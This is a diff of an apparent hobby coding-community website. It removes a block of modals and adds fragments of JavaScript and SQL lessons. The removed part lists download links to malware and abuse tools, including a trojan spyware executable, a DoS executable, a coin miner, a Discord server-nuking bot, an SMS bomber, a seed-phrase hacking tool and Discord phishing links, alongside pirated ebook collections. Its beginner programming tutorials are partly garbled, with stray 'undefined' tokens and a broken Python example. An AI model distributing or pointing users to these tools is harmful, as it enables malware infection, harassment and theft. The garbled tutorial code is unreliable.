-                            <a href="https://www.youtube.com/watch?v=I7ugaarsN9M&list=PLUrAjkLbvTpKw5ZC-jryJI6wQpHvH_naE">HeroCTF v4</a>
-                            <a href="https://www.youtube.com/watch?v=0dXv4mgFvEo&list=PLUrAjkLbvTpJvQddU6MZooARtnKtcI6Li">Incognito 3</a>
-                            <a href="https://www.youtube.com/watch?v=A9ACD-DGM2U&list=PLUrAjkLbvTpKNt1wDghHXqWGrt7p3nFfP">MidnightFlag - INFEKTION</a>
-                            <a href="https://www.youtube.com/watch?v=YljnMU6iswU&list=PLUrAjkLbvTpIID1I8sdwwe4fgFJOZCGhV">Hacky Holidays 2022</a>
-                            <a href="https://www.youtube.com/watch?v=4UzHNuhTJbs&list=PLUrAjkLbvTpLJGPdxueL5uRvUVwmr4SnY">Hack the Boo 2022</a>
-                            <a href="https://www.youtube.com/watch?v=j1CYn74wCXU&list=PLUrAjkLbvTpJK0qbXAE7H73H8WkY26OwD">CTF After Dark - Fall 2022</a>
-                            <a href="https://www.youtube.com/watch?v=TKFgnuftyrs&list=PLUrAjkLbvTpKOlxddIlVkOBvydnEw7qVS">Digital Overdose 2022 Autumn CTF</a>
-                            <a href="https://www.youtube.com/watch?v=kYcEAeek_Wk&list=PLUrAjkLbvTpIQLKVQHi1XJBGaBp6UAjQM">DEADFACE CTF 2022</a>
-                            <a href="https://m.youtube.com/watch?v=BjtVkYRhCHU&list=PLUrAjkLbvTpKN8YKY6ZBEag_EAOGBa9jQ">HTB Business CTF</a>
-                            <a href="https://www.youtube.com/watch?v=K1dOFkvOjiA&list=PLUrAjkLbvTpJ10Wol8D8HQM7oq6mOtUBP">Tenable CTF 2022</a>
-                            <a href="https://youtu.be/wOLkE6HyKqY">TyphoonCon CTF 2022 (KeyGenMe)</a>
-                            <a href="https://www.youtube.com/watch?v=ppvNiujCtlo&list=PLUrAjkLbvTpK_2XGiUTkrRvUhr1kVlZak">Cyber Apocalypse 2022 (HackTheBox)</a>
-                            <a href="https://www.youtube.com/watch?v=bDEXY_MY_Wk&feature=youtu.be">Hack The Box - Starting Point (Tier 0): Fawn</a>
-                            <a href="https://www.youtube.com/watch?v=yt_jfx4D1gY">Hack The Box - Starting Point (Tier 0): Meow & Almond Force Channel Updates</a>
-                            <a href="https://www.youtube.com/watch?v=7Ln4Ga8WBG8">HackTheBox Marshal in the Middle</a>
-                            <a href="https://www.youtube.com/watch?v=n4RK09OZbAw&list=PLUrAjkLbvTpLUHxP0zFq7kwRqs4NZIFvW">11 HackTheBox Videos</a>
-                            <a href="https://www.youtube.com/watch?v=w8MJitt3irc&list=PLUrAjkLbvTpLtLloI8Pqk1P3n8p1sCRw2">TJCTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=nSAJmtLbD-k&list=PLUrAjkLbvTpLT35eSB5anERpDAx2ogSCJangstrom">BYU CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=lI4gpyz09PE&list=PLUrAjkLbvTpJoJ5mVa0lf_UtoSetcwylu">Digital Overdose CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=-MdxtbXvDGI&list=PLUrAjkLbvTpLnJzdh8v4ONJI4TE14hhkq">NahamCon CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=BpX0TwnDTQY&list=PLUrAjkLbvTpI6p83T4HEx8rc3RBMuYw10">Boilers CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=0SnelTGKfDM&list=PLUrAjkLbvTpJgi2wc03ElMfgk9iAv7vSd">PatriotCTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=9uxuPygnEwk&list=PLUrAjkLbvTpIX9ZMshTxR3cJyW_kkOFIg">TAMUctf 2022</a>
-                            <a href="https://www.youtube.com/watch?v=UbAaLQz38T4&list=PLUrAjkLbvTpKnj4AARb4MeBb3hjOjF6BN">picoCTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=yeGdAOd4mEw&list=PLUrAjkLbvTpKS3VsD_G6GOD648aaYj46l">Metared CTF 2022 Stage 1</a>
-                            <a href="https://www.youtube.com/watch?v=cEhL-N6fPfs&list=PLUrAjkLbvTpLEz-ZjJDSNmUyD8apzG16m">Metared CTF 2022 Stage 2</a>
-                            <a href="https://youtu.be/crz0VYlV1eg">Metared CTF 2022 Stage 3</a>
-                            <a href="https://youtu.be/Y05VYgaVzz0">Metared CTF 2022 Stage 4</a>
-                            <a href="https://www.youtube.com/watch?v=lFNXm-hj53c&list=PLUrAjkLbvTpIkDrQ4zC2Hc9QUVl6xAe4s">Blackhat MEA CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=J6Zyn7B3FS0">WRECKCTF2022</a>
-                            <a href="https://www.youtube.com/watch?v=6pMl2EB7Y7A&list=PLUrAjkLbvTpLIMsikAb4WY0wQPlaZ9jpo">DownUnderCTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=0KEj7GNXfQ8&list=PLUrAjkLbvTpJMEg0f8qDzWJpTOfm1i41B">CSAW CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=_nriNzpVrgQ&list=PLUrAjkLbvTpI4BFDBOFZnMr7Z61y0Ejvs">Inter-Galactic CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=fIcuIE1C-FY&list=PLUrAjkLbvTpIcQaDPx4sOGOUca4IpWLDI">SHELL CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=o2b33EMBM5w">Whack-a-frog corCTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=PmBTMNqUTys&list=PLUrAjkLbvTpK4ixlkQxZDrsj9mASlz26N">T3N4CI0US CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=6OANStAZEss&list=PLUrAjkLbvTpIOn4XCn7F9V5SXMXve766b">TFC CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=_w5qd0Rh9sg">MITRE Cyber Academy CTF 2022</a>
-                            <a href="https://www.youtube.com/watch?v=j8CVLGuNlwk&list=PLUrAjkLbvTpKbRFTCCxpqtCYVh3cfo0-v">picoCTF 2023</a>
-                            <a href="https://www.youtube.com/watch?v=pbdC-POk-XU&list=PLUrAjkLbvTpKBgf4uRsc2JWhs8OZeswah">Cyber Apocalypse 2023</a>
-                            <a href="https://www.youtube.com/watch?v=6S0v8lIk9oA">CTFGuide to CyberChef</a>
-                            <a href="https://www.youtube.com/watch?v=zH7GwcaCktA">Are Certs Worth It?</a>
-                          </p>
-                        </Fragment>
-                      </AccordionItem>
-                    </Fragment>
-                  </Accordion>
-                </Fragment>
-              </AccordionItem>
-              <AccordionItem title="Downloadable Resources" id="downloadableresources" parent="resourcesAccordion">
-                <Fragment slot="accordion-item-content">
-                  <h4>Downloadable Resources</h4>
-                  <div class="my-1">
-                    <h4>Windows Kernel Programming</h4>
-                    <a class="btn btn-primary" href="/media/files/Windows_Kernel_Programming_-_PDF_Room.pdf">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>Practical IoT Accessing</h4>
-                    <a class="btn btn-primary" href="/media/files/Practical_IoT_Hacking.pdf">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>Black Hat w/ Python</h4>
-                    <a class="btn btn-primary" href="/media/files/Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>DoD for CyberSecurity</h4>
-                    <a class="btn btn-primary" href="https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>Race Conditions for Web Pentesting</h4>
-                    <a class="btn btn-primary" href="https://book.hacktricks.xyz/pentesting-web/race-condition">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>Digital Systems (10th Edition PDF)</h4>
-                    <div class="d-sm-flex gap-2">
-                      <a class="btn btn-primary" href="https://doc.lagout.org/electronics/Digital%20Systems%20Principles%20And%20Applications%20%20%5Bby%20Ronald%20Tocci%5D.pdf">View</a>
-                      <a class="btn btn-secondary" href="https://doc.lagout.org">doc.lagout.org</a>
-                    </div>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>Clean Architecture: Structuring your Applications for Minimal Effort & Maximal Result.</h4>
-                    <a class="btn btn-primary" href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>1,000 I.T books!</h4>
-                    <a class="btn btn-primary" href="https://drive.google.com/drive/folders/1F7D5c30nP-y_Q7SFqoRTRvJ7tl0UcY3q">View</a>
-                  </div>
-                  <hr>
-                  <div class="my-1">
-                    <h4>Over 8M+ eBooks!</h4>
-                    <a class="btn btn-primary" href="https://z-lib.io/">View</a>
-                  </div>
-                </Fragment>
-              </AccordionItem>
-            </Fragment>
-          </Accordion>
-        </Fragment>
-      </Modal>
-      <Modal title="Viruses &amp; Malware" id="files">
-        <Fragment slot="modal-content">
-          <p>
-            <a href="/media/files/Meme_Coin.ZIP" download>Meme_Coin (ZIP)</a>
-            <a href="/media/files/Meme_coin_miner.exe" download>Meme_Coin (EXE)</a>
-            <a href="/media/files/My_App.zip" download>My_App (ZIP)</a>
-            <a href="/media/files/Myballzhert.zip" download>Myballzhert (ZIP)</a> by Dream3456789 (Password: "mysubsarethebest")
-          </p>
-          <p>
-            <a href="/media/files/Trojan_Spyer.exe" download>Trojan_Spyer (EXE)</a> by MagSam2
-          </p>
-          <p>
-            <a href="/media/files/Nuking-Discord-Server-Bot-Nuke-Bot-master.zip" download>Nuking Discord Bot (ZIP)</a>
-          <p>
-            <a href="/media/files/Scammed.zip" download>Scam (ZIP)</a> by the pfp is for nuking kpopserver
-          </p>
-          <p>
-            <a href="/media/files/BFF_DoS.exe" download>BFF_DoS (EXE)</a>
-            <a href="/media/files/Code.txt" download>Code (TXT)</a>
-            <a href="/media/files/baby.bat" download>Baby (BAT)</a>
-            <a href="/media/files/BabyCodes.txt" download>BabyCodes (TXT)</a> by Corrupt Assassin
-          </p>
-        </Fragment>
-      </Modal>
-      <Modal title="Code Samples" id="code">
-        <Fragment slot="modal-content">
-          <p>
-            <a href="https://github.com/FordArthur/insitucs">Insitux Compiler</a>
-            <a href="https://github.com/FordArthur/chess-ix">Chess I (Insitux)</a>
-            <a href="/media/files/chess.ix" download>Chess II (Insitux)</a>
-            <a href="https://github.com/FordArthur/ballistics-ix">Ballstics I (Insitux)</a>
-            <a href="https://github.com/FordArthur/Insitux-math-libs">Math Libs for Insitux</a>
-            <a href="https://github.com/FordArthur/svelte-app">svelte-app</a>
-            <a href="/media/files/RosettaCode.ix" download>Rosetta Code (Insitux)</a>
-            <a href="/media/files/polinomic-solver.ix" download>Polinomic Solver (Insitux)</a>
-            <a href="/media/files/ambiguous-operator.ix" download>Ambiguous Operator (Insitux)</a>
-            <a href="/media/files/rockpaperscissors.ix" download>Rock Paper Scissors (Insitux)</a> by Al-Ford Arthur
-          </p>
-          <p>
-            <a href="/media/files/rockpaperscissors.py" download>Rock Paper Scissors (Python)</a> by Sezieru
-          </p>
-          <p>
-            <a href="https://github.com/Savageboitim13/UMS-WF/">UMS-WF</a>
-            <a href="https://github.com/Savageboitim13/Principles-CSharp">Principles for C# & Java</a> by venenjean
-          </p>
-          <p>
-            <a href="https://github.com/phunanon/ip3">IP3</a> by Patrick
-          </p>
-          <p>
-            <a href="https://github.com/JSman225/ROTL">ROTL</a> by JSman225
-          </p>
-          <p>
-            <a href="/media/files/test-OBFUSCATED.py" download>ISS Obfuscator (Python 3.9)</a> by vesper
-          </p>
-          <p>
-            <a href="/media/files/long_snakes_long_code_.py" download>Snake Game in One Line of Code (Python)</a> by ByThon
-          </p>
-          <p>
-            <a href="https://github.com/ProtDos/ScammerPayback">ScammerPayback</a>
-            <a href="/media/files/tic.py" download>Tic Tac Toe (Python)</a>
-            <a href="https://github.com/ProtDos/Flask-PayPal/archive/refs/heads/main.zip" download>Flask PayPal (Python | ZIP)</a>
-            <a href="/media/files/stress.py" download>Apache Stress Tester (Python)</a>
-            <a href="/media/files/bestree.py" download>bestree (Python)</a>
-            <a href="/media/files/protect.py" download>SSL Protection (Python)</a>
-            <a href="https://github.com/ProtDos/SeedPhraseHack/archive/refs/heads/main.zip" download>SeedPhraseHack (Python | ZIP)</a>
-            <a href="/media/files/checker.py" download>Domain Checker (Python)</a>
-            <a href="https://github.com/ProtDos/DiscordMassDM">Discord Mass DM</a> (<a href="https://github.com/ProtDos/DiscordMassDM/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Address Generator Checker</a> (<a href="https://github.com/ProtDos/IP-Address-Generator-Checker/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/ClashOfClans-Wrapper">Clash of Clans Wrapper</a> (<a href="https://github.com/ProtDos/ClashOfClans-Wrapper/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/Crunch-PasswordGenerator/archive/refs/heads/main.zip" download>Crunch Password Generator (Python | ZIP)</a>
-            <a href="https://github.com/ProtDos/Mint">Mint (OSINT)</a> (<a href="https://github.com/ProtDos/Mint/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/WebcamSearch/archive/refs/heads/main.zip" download>Webcam Search (Python | ZIP)</a>
-            <a href="https://github.com/ProtDos/Discord-Token-Onliner">Discord Token Onliner</a> (<a href="https://github.com/ProtDos/Discord-Token-Onliner/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/boosint">boosint (OSINT)</a> (<a href="https://github.com/ProtDos/boosint/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/ntru">ntru</a> (<a href="https://github.com/ProtDos/ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/pq-ntru">pq-ntru</a> (<a href="https://github.com/ProtDos/pq-ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Adress Generator Checker</a> By CodingLive
-          </p>
-          <h4>ncrypt.c by Sezieru</h4> This is a relatively simple example for using <code>crypt()</code> on Linux to generate Linux-compatible password hashes. This is useful for replacing a lost password hash, for example. <p>
-            <a href="/media/files/ncrypt.c" download>ncrypt.c Download</a>
-          </p>
-          <h4> Other OSINT Guides </h4>
-          <p>
-            <a href="https://github.com/ProtDos/VanishGuide">VanishGuide</a>
-            <a class="link-danger" href="https://github.com/ProtDos/discord-phishing-links">Discord Phishing Links</a>
-            <a class="link-danger" href="https://github.com/ProtDos/IP-Address-List">IP Address List</a> by CodingLive
-          </p>
-        </Fragment>
-      </Modal>
-      <Modal title="Apps &amp; Software" id="app">
-        <Fragment slot="modal-content">
-          <p>
-            <a href="/media/files/sms_bomb.apk" download>SMS Bomb (APK)</a> (<a href="/sms">Site</a>) by CodingLive
-          </p>
-          <h4>Veilo by CodingLive</h4>
-          <p>
-            <a href="https://veilo.protdos.com/download">Veilo</a>
-          </p>
-          <p>
-            <a href="/redirect/veilo">Veilo Download</a>
-          </p>
-          <h4>Encochat by CodingLive</h4>
-          <p>
-            <a href="https://github.com/ProtDos/encochat">Encochat v1</a>
-          </p>
-          <p>
-            <a href="https://github.com/ProtDos/PrivateChatOld">Encochat v2</a>
-          </p>
-          <p>
-            <a href="https://github.com/ProtDos/PrivateChat">Encochat v3</a>
-          </p>
-          <p>
-            <a href="https://app.protdos.com/">Encochat Website</a>
-          </p>
-          <p>
-            <a href="/redirect/encochat">Encochat Download</a>
-          </p>
-          <h4>vpnchecker by CodingLive</h4>
-          <p>
-            <a href="https://github.com/ProtDos/vpnchecker">vpnchecker</a> (<a href="https://github.com/ProtDos/vpnchecker/archive/refs/heads/main.zip">HTML | ZIP</a>)
-          <p>
-            <a class="link-danger" href="https://protdos.github.io/vpnchecker">vpnchecker Website</a>
-          </p>
-        </Fragment>
-      </Modal>
-      <Modal title="Python Basics" id="py">
-        <Fragment slot="modal-content">
-          <Scrollspy id="py-basics-list" 
-            scrollcontent={[ 
-              { name: "Comments" , href: "#com-3" }, 
-              { name: "Data Types" , href: "#data-3" }, 
-              { name: "Strings" , href: "#str-3" }, 
-              { name: "Numbers" , href: "#num-3" }, 
-            ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="com-3">
-                <h4>Comments</h4>
-                <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes. <br>
-                  <br>
-                  <code> # This is a comment </code>
-                </p>
-              </div>
-              <div id="data-3">
-                <h4>Data Types</h4>
-                <p>Variables can store data of different types, and different types can do different things.</p>
-                <p>Python has the following data types built-in by default, in these categories: <br> Text Type: <code>str</code>
-                  <br> Numeric Types: <code>int, float, complex</code>
-                  <br> Sequence Types: <code>list, tuple, range</code>
-                  <br> Mapping Type: <code>dict</code>
-                  <br> Set Types: <code>set, frozenset</code>
-                  <br> Boolean Type: <code>bool</code>
-                  <br> Binary Types: <code>bytes, bytearray, memoryview</code>
-                </p>
-                <p>We will go more in-depth on some of these types in the next few paragraphs.</p>
-                <p>You can print the data type of a variable with the type() function: <br>
-                  <code> x = 5 <br> print(type(x)) </code>
-                </p>
-              </div>
-              <div id="str-3">
-                <h4>Strings</h4>
-                <p>Strings are surrounded by either single quotation marks, or double quotation marks.</p>
-                <code> x = "hello" <br> y = 'hello' <br> # single quotations and double quotation marks are the same <br> x == y # returns True </code>
-                <p></p>
-                <p>You can assign a multiline string to a variable by using three quotes: <br>
-                  <code> x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds.""" </code>
-                </p>
-                <p>You can check the length of a string using the len() function: <code> x = "hello" <br> print(len(text)) # returns 5 <br>
-                  </code>
-                </p>
-              </div>
-              <div id="num-3">
-                <h4>Numbers</h4>
-                <p>There are 2 primary, <code>int</code> and <code>float</code>
-                </p>
-                <p>
-                  <code> x = 2 # int <br> y = 2.8 # float </code>
-                </p>
-                <p>To verify the type of an object in Python, use the type() function: <code> print(type(x)) <br> print(type(y)) </code>
-                </p>
-                <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
-                <p>Float is a number, positive or negative, containing one or more decimals.</p>
-                <p>Both strings and numbers are built-in data types.</p>
-              </div>
-            </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="C++ Basics" id="cpp">
-        <Fragment slot="modal-content">
-          <Scrollspy id="cpp-basics-list" 
-            scrollcontent={[ 
-              { name: "Strings" , href: "#str-4" }, 
-              { name: "Integers" , href: "#integers-4" }, 
-              { name: "Print" , href: "#print-4" }, ]}>
-            <Fragment slot="scrollspy-content">
-              <div id="strings-4">
-                <h4>Strings</h4>
-                <p> A string is a sequence of characters representing text. Strings are typically enclosed in quotation marks and can be stored in variables for later use in a program. </p>
-                <p>
-                  <code> #include &lt;ostream&gt; <br> #include &lt;string&gt; <br>
-                    <br>
-                    <br> int main() <br> &lbrace; <br> // Declare a string variable <br> std&colon;&colon;string str = "codinghome"; <br> &rbrace; </code>
-                </p>
-              </div>
-              <div id="integers-4">
-                <h4>Integers and Floating Point Numbers</h4>
-                <p>Simply said, Integers are used for numbers without a decimal, and Float is used for numbers with decimals, <b>simply said</b>. There is more to that but we are keeping it simple. </p>
-                <p>
-                  <code> #include &lt;iostream&gt; <br>
-                    <br> int main() &lbrace; // Declare an integer variable int num = 10; // Declare a floating-point variable float fnum = 10.5; &rbrace; </code>
-                </p>
-              </div>
-              <div id="print-4">
-                <h4>Print</h4>
-                <p> Printing an output to the terminal/console or whatever you want to call it. </p>
-                <p>
-                  <code>
-                    #include &lt;iostream&gt;<br>
-                    <br>
-                    int main() &lbrace;<br>
-                    &nbsp;&nbsp;// Declare an integer variable<br>
-                    &nbsp;&nbsp;int num = 10;<br>
-                    <br>
-                    &nbsp;&nbsp;// Declare a floating-point variable<br>
-                    &nbsp;&nbsp;float fnum = 10.5;<br>
-                    <br>
-                    &nbsp;&nbsp;std::cout &lt;&lt; "num: " &lt;&lt; num &lt;&lt; std::endl; // &lt;-- Prints the integer variable (variable num)<br>
-                    &nbsp;&nbsp;std::cout &lt;&lt; "fnum: " &lt;&lt; fnum &lt;&lt; std::endl; // &lt;-- Prints the floating point variable (variable fnum)<br>
-                    <br>
-                    &nbsp;&nbsp;return 0;<br>
-                    &rbrace;
-                  </code>
-                </p>
-              </div>
-            </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="Haskell Basics" id="hs">
-        <Fragment slot="modal-content">
-          <Scrollspy id="hs-basics-list" 
-            scrollcontent={[ 
-              { name: "Data Types" , href: "#data-5" }, 
-              { name: "Function Type Declartion" , href: "#ftd-5" }, 
-              { name: "Function Defintion" , href: "#fde-5" }, 
-              { name: "Functional Principles" , href: "#fpr-5" }, 
-              { name: "Comments" , href: "#com-5" }, 
-            ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="data-5">
-                <h4>Data Types</h4>
-                <p>In Haskell, types are how you describe the data your program will work with. Types can be simple, like:</p>
-                <ul>
-                  <li>Bool: boolean True or False.</li>
-                  <li>Char: one character.</li>
-                  <li>Int: fixed-precision signed integer (usually 64-bit)</li>
-                  <li>Float / Double: floating-point values.</li>
-                </ul>
-                <p>Or, they can be composed with constructs, like:</p>
-                <ul>
-                  <li>String: shortcut for [Char].</li>
-                  <li>[a] : list of <code>a</code>s (where a is a general type). </li>
-                  <li>(a, b) : tuple composed of <code>a</code> and <code>b</code>
-                  </li>
-                  <li>Just a : Maybe monad with the <code>Just</code> option </li>
-                </ul>
-              </div>
-              <div id="ftd-5">
-                <h4>Function Type Declaration</h4>
-                <p>Haskell's functions will usually have 2 parts: a type declaration, and the implementation of the function itself (the type part can also be inferred):</p>
-                <code> -- type declaration <br> -- constraints =&gt; type -&gt; ... -&gt; returnType (the last type will always be the return type) <br> countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int <br> -- implementation <br> countIns x = length . filter (== x) <br>
-                </code>
-                <ul>undefined<li>Bool: boolean True or False.</li>undefined<li>Char: one character.</li>undefined<li>Int: fixed-precision signed integer (usually 64-bit)</li>undefined<li>Float / Double: floating-point values.</li>
-                </ul>
-                <p>Notice the type declaration has 2 types of "arrows": undefined<code>=&gt;</code> and undefined<code>-&gt;</code>. </p>
-                <ul>undefined<li>=&gt; : used for giving additional context of what rules undefined<code>a</code> should follow (in the example above, we see a should be part of the undefined<code>Eq</code> class, which allows for comparison)undefined</li>undefined<li>-&gt; : used for actually declaring the type of the function (in the above example, we see the first argument is undefined<code>a</code>, a general, comparable type, then a list of as and then finally it outputs an undefined<code>Int</code>eger)undefined</li>
-                </ul>
-              </div>
-              <div id="fde-5">
-                <h4>Function Definition</h4>
-                <p>Functions are defined like: undefined<code>functionName argument(s) = expression</code>. Haskell forces declarative style, so functions are (usually) composed of just an expression (always returns a value). </p>
-                <code> -- type declaration countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int -- implementation -- function args = expression countIns x = length . filter (== x) </code>
-              </div>
-              <div id="fpr-5">
-                <h4>Functional Principles</h4>
-                <p>Haskell restricts to the functional paradigm, meaning Haskell enforces:</p>
-                <ul>undefined<li>undefined<b>Immutability:</b> when the undefined<code>data</code> has to be defined again for it to "change"undefined</li>undefined<li>undefined<b>Purity:</b> functions must be pure, producing no side-effects (like modifying a global variable), and must be deterministic (undefined<code>f(x) = y</code>, no matter when undefined<code>f</code> is called)undefined</li>undefined<li>undefined<b>Higher-order functions:</b> functions must be first-class, meaning they can be passed as arguments to other functions. This allows for higher-order functions. which take a function and other data and apply the function to the data in different ways.undefined</li>undefined<li>undefined<b>Disciplined state </b> trying to minimize the use of mutable state and trying to make it local when possible.undefined</li>
-                </ul>
-              </div>
-              <div id="com-5">
-                <h4>Comments</h4>
-                <p>In-line comments are made with undefined<code>--</code> and block comments with undefined<code>&lbrace;- -&rbrace;</code>: </p>
-                <code> -- inlineundefined<br> commentHere = False &lbrace;- block commenHere = True -&rbrace; undefined</code>
-              </div>
-            </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="HTML Basics" id="html">
-        <Fragment slot="modal-content">
-          <Scrollspy id="html-basics-list"
-            scrollcontent={[
-              { name: "Example Document", href: "#example-6" },
-              { name: "HTML Headings", href: "#head-6" },
-              { name: "HTML Paragraphs", href: "#text-6" },
-              { name: "HTML Links", href: "#links-6" },
-              { name: "HTML Images", href: "#img-6" },
-            ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="example-6">
-                <h4>Example Document</h4>
-                <code>
-                &lt;!DOCTYPE html&gt;<br>
-                &lt;html&gt;<br>
-                &nbsp;&lt;body&gt;<br>
-                &nbsp;&nbsp;&lt;h1&gt;My first Heading&lt;/h1&gt;<br>
-                &nbsp;&nbsp;&lt;p&gt;My first paragraph&lt;/p&gt;<br>
-                &nbsp;&lt;/body&gt;<br>
-                &lt;/html&gt;
-                </code><br>
-                <p>The <code>&lt;!DOCTYPE&gt;</code> declaration represents the document type, and helps browsers to display web pages correctly. It must only appear once, at the top of the page (before any HTML tags). The <code>&lt;!DOCTYPE&gt;</code> declaration is not case sensitive. </p>
-              </div>
-              <div id="head-6">
-                <h4>HTML Headings</h4>
-                <p>HTML headings are defined with the <code>&lt;h1&gt;</code> to <code>&lt;h6&gt;</code> tags.
-                <code>&lt;h1&gt;</code>defines the most important heading. <code>&lt;h6&gt;</code> defines the least important heading:<br>
-                <code>&lt;h1&gt;Big&lt;/h1&gt;</code> <br>
-                <code>&lt;h6&gt;Small&lt;/h6&gt;</code> </p>
-              </div>
-              <div id="text-6">
-                <h4>HTML Paragraphs</h4>
-                <p>HTML paragraphs are defined with the &lt;p&gt; tag:<code><br>
-                &lt;p&gt;This is a paragraph.&lt;/p&gt;<br>
-                &lt;p&gt;This is another paragraph.&lt;/p&gt;</code></p>
-              </div>
-              <div id="links-6">
-                <h4>HTML Links</h4>
-                <p>HTML links are defined with the &lt;a&gt; tag:<br>
-                <code>&lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;</code></p>
-              </div>
-              <div id="img-6">
-                <h4>HTML Images</h4>
-                <p>HTML images are defined with the &lt;img&gt; tag. The source file (src), alternative text (alt), width, and height are provided as attributes:<br>
-                <code>&lt;img src="example.jpg" alt="example.com" width="104" height="142"&gt;</code></p>
-              </div> 
-            </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="CSS Basics" id="css">
-        <Fragment slot="modal-content">
+  
+                  <p><b>Objects Example</b> <br>
+<pre>
+<code>
+var person = &lbrace;
+  firstName&colon; "John",
+  lastName&colon; "Doe",
+  age&colon; 20,
+  nationality&colon; "American"
+&rbrace;
+</code>
+</pre>
+                  </p>
+                </div>
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="SQL Basics" id="sql"><Fragment slot="modal-content">
           <div class="mb-3">
-            <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics" target="_blank" rel="noreferrer noopener" class="btn btn-info">Source (Mozilla)</a>
+            <a href="#sqlresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">SQL Resources</a>
           </div>
-          <Scrollspy id="css-basics-list"
+          <Scrollspy id="sql-basics-list"
           scrollcontent={[
-            { name: "Example Document", href: "#example-7" },
-            { name: "CSS Rulesets", href: "#rules-7" },
-            { name: "Classes", href: "#classes-7" },
-            { name: "Text Elements", href: "#text-7" },
-            { name: "Padding Elements", href: "#pad-7" },
-            { name: "Color Elements", href: "#color-7" },
-            { name: "Comments", href: "#com-7" },
-            { name: "Extra: Centering Images", href: "#eci-7" },
+            { name: "Querying Data from a Tablem", href: "#query-9" },
+            { name: "Modifying Data", href: "#mod-9" },
+            { name: "Table Management", href: "#table-9" },
           ]}
           >
             <Fragment slot="scrollspy-content">
-              <div id="example-7">
-                <h4>Example Document</h4>
-                <p>
-                <code>
-                h1 &lbrace;<br>
-                &nbsp;&nbsp;color&colon; black;<br>
-                &nbsp;&nbsp;text-align&colon; center;<br>
-                &nbsp;&nbsp;font-size&colon; 26px;<br>
-                &nbsp;&nbsp;font-family&colon; verdana;<br>
-                &rbrace;
-                </code>
-                </p>
-                <p><code>&lt;p style="font-size:10px"&gt;</code></p>
-                <p>To put CSS files in HTML, use:
-                <br><code>&lt;link rel="stylesheet" href="style.css"&gt;</code></p>
-                <p>To put CSS code in HTML, use:
-                <br>
-                <code>
-                &lt;style&gt;<br>
-                .class &lbrace;<br>
-                &rbrace;<br>
-                &lt;/style&gt;
-                </code>
-                </p>
-                </div>
-              <div id="rules-7">
-                <h4>CSS Rulesets</h4>
-                <p>
-                </p><div class="d-flex"><div class="col-4"><p>Selector</p></div><div class="col"><div class="me-auto"><code class="position-static">p &lbrace; </code></div></div></div>
-                <div class="d-flex"><div class="col-4"><p>Property</p></div><div class="col"><div class="me-auto"><code class="position-static">&nbsp;&nbsp;color&colon; red; </code></div></div></div>
-                <div class="d-flex"><div class="col-4"><p>Declaration</p></div><div class="col"><div class="me-auto"><code class="position-static">&rbrace;</code></div></div></div>  
-                <p></p>
-                <p><b>Properties</b> - With these, you can style a HTML element, like for example; color. <br>
-                <b>Property Value</b> - This chooses one of the possible options for a given property, like red for color.</p>
-                  <p>
-                You can also write CSS like <code>html&lbrace;color&colon;red;&rbrace;</code>
-                <br>
-                You can also put styles in HTML elements. <code>&lt;h1 style="font-color:white;"&gt;</code>
-                <br>
-                You can also select multiple elements at once like...
-                <br>
-                <code>
